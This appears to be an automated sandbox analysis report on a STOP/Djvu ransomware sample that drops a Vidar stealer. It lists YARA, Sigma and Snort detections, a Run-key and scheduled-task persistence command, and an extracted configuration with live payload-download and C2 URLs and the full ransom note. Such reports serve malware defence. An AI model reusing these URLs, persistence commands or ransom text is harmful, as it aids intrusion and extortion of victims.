23.2.lzShU2RYJa.exe.5e615a0.1.raw.unpack	MALWARE_Win_STOP	Detects STOP ransomware	ditekSHen	0xfe888:$x1: C:\SystemID\PersonalID.txt 0xfed34:$x2: /deny *S-1-1-0:(OI)(CI)(DE,DC) 0xfe6f0:$x3: e:\doc\my work (c++)\_git\encryption\ 0x104528:$x3: E:\Doc\My work (C++)\_Git\Encryption\ 0xfecec:$s1: " --AutoStart 0xfed00:$s1: " --AutoStart 0x102948:$s2: --ForNetRes 0x102910:$s3: --Admin 0x102d90:$s4: %username% 0x102eb4:$s5: ?pid= 0x102ec0:$s6: &first=true 0x102ed8:$s6: &first=false 0xfedf4:$s7: delself.bat 0x102df8:$mutex1: {1D6FC66E-D1F3-422C-8A53-C0BBCF3D900D} 0x102e20:$mutex2: {FBB4BCC6-05C7-4ADD-B67B-A98A697323C1} 0x102e48:$mutex3: {36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}
10.2.lzShU2RYJa.exe.5de15a0.1.unpack	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
10.2.lzShU2RYJa.exe.5de15a0.1.unpack	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0x102f28:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb 0xc1ef:$b: 68 FF FF FF 50 FF D3 8D 85 78 FF FF FF 50 FF D3 8D 85 58 FF
10.2.lzShU2RYJa.exe.5de15a0.1.unpack	MALWARE_Win_STOP	Detects STOP ransomware	ditekSHen	0xfd288:$x1: C:\SystemID\PersonalID.txt 0xfd734:$x2: /deny *S-1-1-0:(OI)(CI)(DE,DC) 0xfd0f0:$x3: e:\doc\my work (c++)\_git\encryption\ 0x102f28:$x3: E:\Doc\My work (C++)\_Git\Encryption\ 0xfd6ec:$s1: " --AutoStart 0xfd700:$s1: " --AutoStart 0x101348:$s2: --ForNetRes 0x101310:$s3: --Admin 0x101790:$s4: %username% 0x1018b4:$s5: ?pid= 0x1018c0:$s6: &first=true 0x1018d8:$s6: &first=false 0xfd7f4:$s7: delself.bat 0x1017f8:$mutex1: {1D6FC66E-D1F3-422C-8A53-C0BBCF3D900D} 0x101820:$mutex2: {FBB4BCC6-05C7-4ADD-B67B-A98A697323C1} 0x101848:$mutex3: {36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}
8.2.build2.exe.400000.0.unpack	JoeSecurity_Vidar_1	Yara detected Vidar stealer	Joe Security
7.2.build2.exe.1aa15a0.1.unpack	JoeSecurity_Vidar_1	Yara detected Vidar stealer	Joe Security
4.2.lzShU2RYJa.exe.400000.0.raw.unpack	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
4.2.lzShU2RYJa.exe.400000.0.raw.unpack	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0x105b28:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb 0xd9ef:$b: 68 FF FF FF 50 FF D3 8D 85 78 FF FF FF 50 FF D3 8D 85 58 FF
4.2.lzShU2RYJa.exe.400000.0.raw.unpack	MALWARE_Win_STOP	Detects STOP ransomware	ditekSHen	0xffe88:$x1: C:\SystemID\PersonalID.txt 0x100334:$x2: /deny *S-1-1-0:(OI)(CI)(DE,DC) 0xffcf0:$x3: e:\doc\my work (c++)\_git\encryption\ 0x105b28:$x3: E:\Doc\My work (C++)\_Git\Encryption\ 0x1002ec:$s1: " --AutoStart 0x100300:$s1: " --AutoStart 0x103f48:$s2: --ForNetRes 0x103f10:$s3: --Admin 0x104390:$s4: %username% 0x1044b4:$s5: ?pid= 0x1044c0:$s6: &first=true 0x1044d8:$s6: &first=false 0x1003f4:$s7: delself.bat 0x1043f8:$mutex1: {1D6FC66E-D1F3-422C-8A53-C0BBCF3D900D} 0x104420:$mutex2: {FBB4BCC6-05C7-4ADD-B67B-A98A697323C1} 0x104448:$mutex3: {36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}
0.2.lzShU2RYJa.exe.5e215a0.1.raw.unpack	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
0.2.lzShU2RYJa.exe.5e215a0.1.raw.unpack	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0x104528:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb 0xcdef:$b: 68 FF FF FF 50 FF D3 8D 85 78 FF FF FF 50 FF D3 8D 85 58 FF
0.2.lzShU2RYJa.exe.5e215a0.1.raw.unpack	MALWARE_Win_STOP	Detects STOP ransomware	ditekSHen	0xfe888:$x1: C:\SystemID\PersonalID.txt 0xfed34:$x2: /deny *S-1-1-0:(OI)(CI)(DE,DC) 0xfe6f0:$x3: e:\doc\my work (c++)\_git\encryption\ 0x104528:$x3: E:\Doc\My work (C++)\_Git\Encryption\ 0xfecec:$s1: " --AutoStart 0xfed00:$s1: " --AutoStart 0x102948:$s2: --ForNetRes 0x102910:$s3: --Admin 0x102d90:$s4: %username% 0x102eb4:$s5: ?pid= 0x102ec0:$s6: &first=true 0x102ed8:$s6: &first=false 0xfedf4:$s7: delself.bat 0x102df8:$mutex1: {1D6FC66E-D1F3-422C-8A53-C0BBCF3D900D} 0x102e20:$mutex2: {FBB4BCC6-05C7-4ADD-B67B-A98A697323C1} 0x102e48:$mutex3: {36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}
0.2.lzShU2RYJa.exe.5e215a0.1.unpack	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
0.2.lzShU2RYJa.exe.5e215a0.1.unpack	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0x102f28:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb 0xc1ef:$b: 68 FF FF FF 50 FF D3 8D 85 78 FF FF FF 50 FF D3 8D 85 58 FF
0.2.lzShU2RYJa.exe.5e215a0.1.unpack	MALWARE_Win_STOP	Detects STOP ransomware	ditekSHen	0xfd288:$x1: C:\SystemID\PersonalID.txt 0xfd734:$x2: /deny *S-1-1-0:(OI)(CI)(DE,DC) 0xfd0f0:$x3: e:\doc\my work (c++)\_git\encryption\ 0x102f28:$x3: E:\Doc\My work (C++)\_Git\Encryption\ 0xfd6ec:$s1: " --AutoStart 0xfd700:$s1: " --AutoStart 0x101348:$s2: --ForNetRes 0x101310:$s3: --Admin 0x101790:$s4: %username% 0x1018b4:$s5: ?pid= 0x1018c0:$s6: &first=true 0x1018d8:$s6: &first=false 0xfd7f4:$s7: delself.bat 0x1017f8:$mutex1: {1D6FC66E-D1F3-422C-8A53-C0BBCF3D900D} 0x101820:$mutex2: {FBB4BCC6-05C7-4ADD-B67B-A98A697323C1} 0x101848:$mutex3: {36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}
7.2.build2.exe.1aa15a0.1.raw.unpack	JoeSecurity_Vidar_1	Yara detected Vidar stealer	Joe Security
4.2.lzShU2RYJa.exe.400000.0.unpack	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
4.2.lzShU2RYJa.exe.400000.0.unpack	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0x104528:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb 0xcdef:$b: 68 FF FF FF 50 FF D3 8D 85 78 FF FF FF 50 FF D3 8D 85 58 FF
4.2.lzShU2RYJa.exe.400000.0.unpack	MALWARE_Win_STOP	Detects STOP ransomware	ditekSHen	0xfe888:$x1: C:\SystemID\PersonalID.txt 0xfed34:$x2: /deny *S-1-1-0:(OI)(CI)(DE,DC) 0xfe6f0:$x3: e:\doc\my work (c++)\_git\encryption\ 0x104528:$x3: E:\Doc\My work (C++)\_Git\Encryption\ 0xfecec:$s1: " --AutoStart 0xfed00:$s1: " --AutoStart 0x102948:$s2: --ForNetRes 0x102910:$s3: --Admin 0x102d90:$s4: %username% 0x102eb4:$s5: ?pid= 0x102ec0:$s6: &first=true 0x102ed8:$s6: &first=false 0xfedf4:$s7: delself.bat 0x102df8:$mutex1: {1D6FC66E-D1F3-422C-8A53-C0BBCF3D900D} 0x102e20:$mutex2: {FBB4BCC6-05C7-4ADD-B67B-A98A697323C1} 0x102e48:$mutex3: {36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}
11.2.lzShU2RYJa.exe.400000.0.unpack	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
11.2.lzShU2RYJa.exe.400000.0.unpack	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0x104528:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb 0xcdef:$b: 68 FF FF FF 50 FF D3 8D 85 78 FF FF FF 50 FF D3 8D 85 58 FF
11.2.lzShU2RYJa.exe.400000.0.unpack	MALWARE_Win_STOP	Detects STOP ransomware	ditekSHen	0xfe888:$x1: C:\SystemID\PersonalID.txt 0xfed34:$x2: /deny *S-1-1-0:(OI)(CI)(DE,DC) 0xfe6f0:$x3: e:\doc\my work (c++)\_git\encryption\ 0x104528:$x3: E:\Doc\My work (C++)\_Git\Encryption\ 0xfecec:$s1: " --AutoStart 0xfed00:$s1: " --AutoStart 0x102948:$s2: --ForNetRes 0x102910:$s3: --Admin 0x102d90:$s4: %username% 0x102eb4:$s5: ?pid= 0x102ec0:$s6: &first=true 0x102ed8:$s6: &first=false 0xfedf4:$s7: delself.bat 0x102df8:$mutex1: {1D6FC66E-D1F3-422C-8A53-C0BBCF3D900D} 0x102e20:$mutex2: {FBB4BCC6-05C7-4ADD-B67B-A98A697323C1} 0x102e48:$mutex3: {36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}
6.2.lzShU2RYJa.exe.400000.0.raw.unpack	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
6.2.lzShU2RYJa.exe.400000.0.raw.unpack	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0x105b28:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb 0xd9ef:$b: 68 FF FF FF 50 FF D3 8D 85 78 FF FF FF 50 FF D3 8D 85 58 FF
6.2.lzShU2RYJa.exe.400000.0.raw.unpack	MALWARE_Win_STOP	Detects STOP ransomware	ditekSHen	0xffe88:$x1: C:\SystemID\PersonalID.txt 0x100334:$x2: /deny *S-1-1-0:(OI)(CI)(DE,DC) 0xffcf0:$x3: e:\doc\my work (c++)\_git\encryption\ 0x105b28:$x3: E:\Doc\My work (C++)\_Git\Encryption\ 0x1002ec:$s1: " --AutoStart 0x100300:$s1: " --AutoStart 0x103f48:$s2: --ForNetRes 0x103f10:$s3: --Admin 0x104390:$s4: %username% 0x1044b4:$s5: ?pid= 0x1044c0:$s6: &first=true 0x1044d8:$s6: &first=false 0x1003f4:$s7: delself.bat 0x1043f8:$mutex1: {1D6FC66E-D1F3-422C-8A53-C0BBCF3D900D} 0x104420:$mutex2: {FBB4BCC6-05C7-4ADD-B67B-A98A697323C1} 0x104448:$mutex3: {36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}
24.2.lzShU2RYJa.exe.400000.0.unpack	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
24.2.lzShU2RYJa.exe.400000.0.unpack	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0x104528:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb 0xcdef:$b: 68 FF FF FF 50 FF D3 8D 85 78 FF FF FF 50 FF D3 8D 85 58 FF
24.2.lzShU2RYJa.exe.400000.0.unpack	MALWARE_Win_STOP	Detects STOP ransomware	ditekSHen	0xfe888:$x1: C:\SystemID\PersonalID.txt 0xfed34:$x2: /deny *S-1-1-0:(OI)(CI)(DE,DC) 0xfe6f0:$x3: e:\doc\my work (c++)\_git\encryption\ 0x104528:$x3: E:\Doc\My work (C++)\_Git\Encryption\ 0xfecec:$s1: " --AutoStart 0xfed00:$s1: " --AutoStart 0x102948:$s2: --ForNetRes 0x102910:$s3: --Admin 0x102d90:$s4: %username% 0x102eb4:$s5: ?pid= 0x102ec0:$s6: &first=true 0x102ed8:$s6: &first=false 0xfedf4:$s7: delself.bat 0x102df8:$mutex1: {1D6FC66E-D1F3-422C-8A53-C0BBCF3D900D} 0x102e20:$mutex2: {FBB4BCC6-05C7-4ADD-B67B-A98A697323C1} 0x102e48:$mutex3: {36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}
11.2.lzShU2RYJa.exe.400000.0.raw.unpack	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
11.2.lzShU2RYJa.exe.400000.0.raw.unpack	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0x105b28:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb 0xd9ef:$b: 68 FF FF FF 50 FF D3 8D 85 78 FF FF FF 50 FF D3 8D 85 58 FF
11.2.lzShU2RYJa.exe.400000.0.raw.unpack	MALWARE_Win_STOP	Detects STOP ransomware	ditekSHen	0xffe88:$x1: C:\SystemID\PersonalID.txt 0x100334:$x2: /deny *S-1-1-0:(OI)(CI)(DE,DC) 0xffcf0:$x3: e:\doc\my work (c++)\_git\encryption\ 0x105b28:$x3: E:\Doc\My work (C++)\_Git\Encryption\ 0x1002ec:$s1: " --AutoStart 0x100300:$s1: " --AutoStart 0x103f48:$s2: --ForNetRes 0x103f10:$s3: --Admin 0x104390:$s4: %username% 0x1044b4:$s5: ?pid= 0x1044c0:$s6: &first=true 0x1044d8:$s6: &first=false 0x1003f4:$s7: delself.bat 0x1043f8:$mutex1: {1D6FC66E-D1F3-422C-8A53-C0BBCF3D900D} 0x104420:$mutex2: {FBB4BCC6-05C7-4ADD-B67B-A98A697323C1} 0x104448:$mutex3: {36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}
6.2.lzShU2RYJa.exe.400000.0.unpack	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
6.2.lzShU2RYJa.exe.400000.0.unpack	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0x104528:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb 0xcdef:$b: 68 FF FF FF 50 FF D3 8D 85 78 FF FF FF 50 FF D3 8D 85 58 FF
6.2.lzShU2RYJa.exe.400000.0.unpack	MALWARE_Win_STOP	Detects STOP ransomware	ditekSHen	0xfe888:$x1: C:\SystemID\PersonalID.txt 0xfed34:$x2: /deny *S-1-1-0:(OI)(CI)(DE,DC) 0xfe6f0:$x3: e:\doc\my work (c++)\_git\encryption\ 0x104528:$x3: E:\Doc\My work (C++)\_Git\Encryption\ 0xfecec:$s1: " --AutoStart 0xfed00:$s1: " --AutoStart 0x102948:$s2: --ForNetRes 0x102910:$s3: --Admin 0x102d90:$s4: %username% 0x102eb4:$s5: ?pid= 0x102ec0:$s6: &first=true 0x102ed8:$s6: &first=false 0xfedf4:$s7: delself.bat 0x102df8:$mutex1: {1D6FC66E-D1F3-422C-8A53-C0BBCF3D900D} 0x102e20:$mutex2: {FBB4BCC6-05C7-4ADD-B67B-A98A697323C1} 0x102e48:$mutex3: {36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}
24.2.lzShU2RYJa.exe.400000.0.raw.unpack	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
24.2.lzShU2RYJa.exe.400000.0.raw.unpack	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0x105b28:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb 0xd9ef:$b: 68 FF FF FF 50 FF D3 8D 85 78 FF FF FF 50 FF D3 8D 85 58 FF
24.2.lzShU2RYJa.exe.400000.0.raw.unpack	MALWARE_Win_STOP	Detects STOP ransomware	ditekSHen	0xffe88:$x1: C:\SystemID\PersonalID.txt 0x100334:$x2: /deny *S-1-1-0:(OI)(CI)(DE,DC) 0xffcf0:$x3: e:\doc\my work (c++)\_git\encryption\ 0x105b28:$x3: E:\Doc\My work (C++)\_Git\Encryption\ 0x1002ec:$s1: " --AutoStart 0x100300:$s1: " --AutoStart 0x103f48:$s2: --ForNetRes 0x103f10:$s3: --Admin 0x104390:$s4: %username% 0x1044b4:$s5: ?pid= 0x1044c0:$s6: &first=true 0x1044d8:$s6: &first=false 0x1003f4:$s7: delself.bat 0x1043f8:$mutex1: {1D6FC66E-D1F3-422C-8A53-C0BBCF3D900D} 0x104420:$mutex2: {FBB4BCC6-05C7-4ADD-B67B-A98A697323C1} 0x104448:$mutex3: {36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}
3.2.lzShU2RYJa.exe.5e015a0.1.unpack	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
3.2.lzShU2RYJa.exe.5e015a0.1.unpack	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0x102f28:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb 0xc1ef:$b: 68 FF FF FF 50 FF D3 8D 85 78 FF FF FF 50 FF D3 8D 85 58 FF
3.2.lzShU2RYJa.exe.5e015a0.1.unpack	MALWARE_Win_STOP	Detects STOP ransomware	ditekSHen	0xfd288:$x1: C:\SystemID\PersonalID.txt 0xfd734:$x2: /deny *S-1-1-0:(OI)(CI)(DE,DC) 0xfd0f0:$x3: e:\doc\my work (c++)\_git\encryption\ 0x102f28:$x3: E:\Doc\My work (C++)\_Git\Encryption\ 0xfd6ec:$s1: " --AutoStart 0xfd700:$s1: " --AutoStart 0x101348:$s2: --ForNetRes 0x101310:$s3: --Admin 0x101790:$s4: %username% 0x1018b4:$s5: ?pid= 0x1018c0:$s6: &first=true 0x1018d8:$s6: &first=false 0xfd7f4:$s7: delself.bat 0x1017f8:$mutex1: {1D6FC66E-D1F3-422C-8A53-C0BBCF3D900D} 0x101820:$mutex2: {FBB4BCC6-05C7-4ADD-B67B-A98A697323C1} 0x101848:$mutex3: {36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}
10.2.lzShU2RYJa.exe.5de15a0.1.raw.unpack	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
10.2.lzShU2RYJa.exe.5de15a0.1.raw.unpack	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0x104528:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb 0xcdef:$b: 68 FF FF FF 50 FF D3 8D 85 78 FF FF FF 50 FF D3 8D 85 58 FF
10.2.lzShU2RYJa.exe.5de15a0.1.raw.unpack	MALWARE_Win_STOP	Detects STOP ransomware	ditekSHen	0xfe888:$x1: C:\SystemID\PersonalID.txt 0xfed34:$x2: /deny *S-1-1-0:(OI)(CI)(DE,DC) 0xfe6f0:$x3: e:\doc\my work (c++)\_git\encryption\ 0x104528:$x3: E:\Doc\My work (C++)\_Git\Encryption\ 0xfecec:$s1: " --AutoStart 0xfed00:$s1: " --AutoStart 0x102948:$s2: --ForNetRes 0x102910:$s3: --Admin 0x102d90:$s4: %username% 0x102eb4:$s5: ?pid= 0x102ec0:$s6: &first=true 0x102ed8:$s6: &first=false 0xfedf4:$s7: delself.bat 0x102df8:$mutex1: {1D6FC66E-D1F3-422C-8A53-C0BBCF3D900D} 0x102e20:$mutex2: {FBB4BCC6-05C7-4ADD-B67B-A98A697323C1} 0x102e48:$mutex3: {36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}
3.2.lzShU2RYJa.exe.5e015a0.1.raw.unpack	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
3.2.lzShU2RYJa.exe.5e015a0.1.raw.unpack	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0x104528:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb 0xcdef:$b: 68 FF FF FF 50 FF D3 8D 85 78 FF FF FF 50 FF D3 8D 85 58 FF
3.2.lzShU2RYJa.exe.5e015a0.1.raw.unpack	MALWARE_Win_STOP	Detects STOP ransomware	ditekSHen	0xfe888:$x1: C:\SystemID\PersonalID.txt 0xfed34:$x2: /deny *S-1-1-0:(OI)(CI)(DE,DC) 0xfe6f0:$x3: e:\doc\my work (c++)\_git\encryption\ 0x104528:$x3: E:\Doc\My work (C++)\_Git\Encryption\ 0xfecec:$s1: " --AutoStart 0xfed00:$s1: " --AutoStart 0x102948:$s2: --ForNetRes 0x102910:$s3: --Admin 0x102d90:$s4: %username% 0x102eb4:$s5: ?pid= 0x102ec0:$s6: &first=true 0x102ed8:$s6: &first=false 0xfedf4:$s7: delself.bat 0x102df8:$mutex1: {1D6FC66E-D1F3-422C-8A53-C0BBCF3D900D} 0x102e20:$mutex2: {FBB4BCC6-05C7-4ADD-B67B-A98A697323C1} 0x102e48:$mutex3: {36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}
23.2.lzShU2RYJa.exe.5e615a0.1.unpack	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
23.2.lzShU2RYJa.exe.5e615a0.1.unpack	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0x102f28:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb 0xc1ef:$b: 68 FF FF FF 50 FF D3 8D 85 78 FF FF FF 50 FF D3 8D 85 58 FF
23.2.lzShU2RYJa.exe.5e615a0.1.unpack	MALWARE_Win_STOP	Detects STOP ransomware	ditekSHen	0xfd288:$x1: C:\SystemID\PersonalID.txt 0xfd734:$x2: /deny *S-1-1-0:(OI)(CI)(DE,DC) 0xfd0f0:$x3: e:\doc\my work (c++)\_git\encryption\ 0x102f28:$x3: E:\Doc\My work (C++)\_Git\Encryption\ 0xfd6ec:$s1: " --AutoStart 0xfd700:$s1: " --AutoStart 0x101348:$s2: --ForNetRes 0x101310:$s3: --Admin 0x101790:$s4: %username% 0x1018b4:$s5: ?pid= 0x1018c0:$s6: &first=true 0x1018d8:$s6: &first=false 0xfd7f4:$s7: delself.bat 0x1017f8:$mutex1: {1D6FC66E-D1F3-422C-8A53-C0BBCF3D900D} 0x101820:$mutex2: {FBB4BCC6-05C7-4ADD-B67B-A98A697323C1} 0x101848:$mutex3: {36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}
1.2.lzShU2RYJa.exe.400000.0.unpack	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
1.2.lzShU2RYJa.exe.400000.0.unpack	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0x104528:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb 0xcdef:$b: 68 FF FF FF 50 FF D3 8D 85 78 FF FF FF 50 FF D3 8D 85 58 FF
1.2.lzShU2RYJa.exe.400000.0.unpack	MALWARE_Win_STOP	Detects STOP ransomware	ditekSHen	0xfe888:$x1: C:\SystemID\PersonalID.txt 0xfed34:$x2: /deny *S-1-1-0:(OI)(CI)(DE,DC) 0xfe6f0:$x3: e:\doc\my work (c++)\_git\encryption\ 0x104528:$x3: E:\Doc\My work (C++)\_Git\Encryption\ 0xfecec:$s1: " --AutoStart 0xfed00:$s1: " --AutoStart 0x102948:$s2: --ForNetRes 0x102910:$s3: --Admin 0x102d90:$s4: %username% 0x102eb4:$s5: ?pid= 0x102ec0:$s6: &first=true 0x102ed8:$s6: &first=false 0xfedf4:$s7: delself.bat 0x102df8:$mutex1: {1D6FC66E-D1F3-422C-8A53-C0BBCF3D900D} 0x102e20:$mutex2: {FBB4BCC6-05C7-4ADD-B67B-A98A697323C1} 0x102e48:$mutex3: {36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}
Click to see the 114 entries

Sigma Signatures

System Summary

Sigma detected: CurrentVersion Autorun Keys Modification

Source: Registry Key set

Author: Victor Sergeev, Daniil Yugoslavskiy, Gleb Sukhodolskiy, Timur Zinniatullin, oscd.community, Tim Shelton, frack113 (split): Data: Details: "C:\Users\user\AppData\Local\6ac62023-6901-4d0d-9a07-d2a392efb8b6\lzShU2RYJa.exe" --AutoStart, EventID: 13, EventType: SetValue, Image: C:\Users\user\Desktop\lzShU2RYJa.exe, ProcessId: 7344, TargetObject: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\SysHelper

Sigma detected: Suspicious Add Scheduled Task Parent

Source: Process started

Author: Florian Roth (Nextron Systems): Data: Command: /C /create /F /sc minute /mo 1 /tn "Azure-Update-Task" /tr "C:\Users\user\AppData\Roaming\Microsoft\Network\mstsca.exe", CommandLine: /C /create /F /sc minute /mo 1 /tn "Azure-Update-Task" /tr "C:\Users\user\AppData\Roaming\Microsoft\Network\mstsca.exe", CommandLine|base64offset|contains: , Image: C:\Windows\SysWOW64\schtasks.exe, NewProcessName: C:\Windows\SysWOW64\schtasks.exe, OriginalFileName: C:\Windows\SysWOW64\schtasks.exe, ParentCommandLine: "C:\Users\user\AppData\Local\fe6f00bc-746e-4cfb-9118-7560f7fc67df\build3.exe" , ParentImage: C:\Users\user\AppData\Local\fe6f00bc-746e-4cfb-9118-7560f7fc67df\build3.exe, ParentProcessId: 8152, ParentProcessName: build3.exe, ProcessCommandLine: /C /create /F /sc minute /mo 1 /tn "Azure-Update-Task" /tr "C:\Users\user\AppData\Roaming\Microsoft\Network\mstsca.exe", ProcessId: 8168, ProcessName: schtasks.exe

Sigma detected: Suspicious Schtasks From Env Var Folder

Source: Process started

Snort Signatures

ETPRO TROJAN STOP Ransomware CnC Activity - Source IP: 192.168.2.4 - Destination IP: 211.171.233.129

Timestamp:	04/24/24-18:52:00.252701
SID:	2833438
Source Port:	49735
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Win32/Vodkagats Loader Requesting Payload - Source IP: 192.168.2.4 - Destination IP: 211.171.233.129

Timestamp:	04/24/24-18:52:02.745238
SID:	2036333
Source Port:	49736
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Potential Dridex.Maldoc Minimal Executable Request - Source IP: 192.168.2.4 - Destination IP: 189.143.202.242

Timestamp:	04/24/24-18:52:00.082810
SID:	2020826
Source Port:	49733
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Win32/Vodkagats Loader Requesting Payload - Source IP: 192.168.2.4 - Destination IP: 189.143.202.242

Timestamp:	04/24/24-18:52:00.082810
SID:	2036333
Source Port:	49733
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Win32/Filecoder.STOP Variant Public Key Download - Source IP: 211.171.233.129 - Destination IP: 192.168.2.4

Timestamp:	04/24/24-18:52:01.154757
SID:	2036335
Source Port:	80
Destination Port:	49735
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Potential Dridex.Maldoc Minimal Executable Request - Source IP: 192.168.2.4 - Destination IP: 211.171.233.129

Timestamp:	04/24/24-18:52:02.745238
SID:	2020826
Source Port:	49736
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Win32/Filecoder.STOP Variant Public Key Download - Source IP: 211.171.233.129 - Destination IP: 192.168.2.4

Timestamp:	04/24/24-18:52:01.154654
SID:	2036335
Source Port:	80
Destination Port:	49734
Protocol:	TCP
Classtype:	A Network Trojan was detected

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus / Scanner detection for submitted sample

Source: lzShU2RYJa.exe

Avira: detected

Antivirus detection for URL or domain

Source: http://sdfjhuz.com/dl/build2.exerun5980	Avira URL Cloud: Label: malware
Source: http://sdfjhuz.com/dl/build2.exe$run	Avira URL Cloud: Label: malware

Antivirus detection for dropped file

Source: C:\Users\user\AppData\Local\6ac62023-6901-4d0d-9a07-d2a392efb8b6\lzShU2RYJa.exe	Avira: detection malicious, Label: HEUR/AGEN.1313018
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\build2[1].exe	Avira: detection malicious, Label: HEUR/AGEN.1313019
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\build3[1].exe	Avira: detection malicious, Label: TR/AD.MalwareCrypter.llbpm
Source: C:\Users\user\AppData\Roaming\Microsoft\Network\mstsca.exe	Avira: detection malicious, Label: TR/AD.MalwareCrypter.llbpm

Found malware configuration

Source: 00000003.00000002.1672801974.0000000005E00000.00000040.00001000.00020000.00000000.sdmp	Malware Configuration Extractor: Djvu {"Download URLs": ["http://sdfjhuz.com/dl/build2.exe", "http://cajgtus.com/files/1/build3.exe"], "C2 url": "http://cajgtus.com/test2/get.php", "Ransom note file": "_README.txt", "Ransom note": "ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like pictures, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nDo not ask assistants from youtube and recovery data sites for help in recovering your data.\r\nThey can use your free decryption quota and scam you.\r\nOur contact is emails in this text document only.\r\nYou can get and look video overview decrypt tool:\r\nhttps://wetransfer.com/downloads/54cdfd152fe98eedb628a1f4ddb7076420240421150208/403a27\r\nPrice of private key and decrypt software is $999.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $499.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\nsupport@freshingmail.top\r\n\r\nReserve e-mail address to contact us:\r\ndatarestorehelpyou@airmail.cc\r\n\r\nYour personal ID:\r\n0864PsawqS", "Ignore Files": ["ntuser.dat", "ntuser.dat.LOG1", "ntuser.dat.LOG2", "ntuser.pol", ".sys", ".ini", ".DLL", ".dll", ".blf", ".bat", ".lnk", 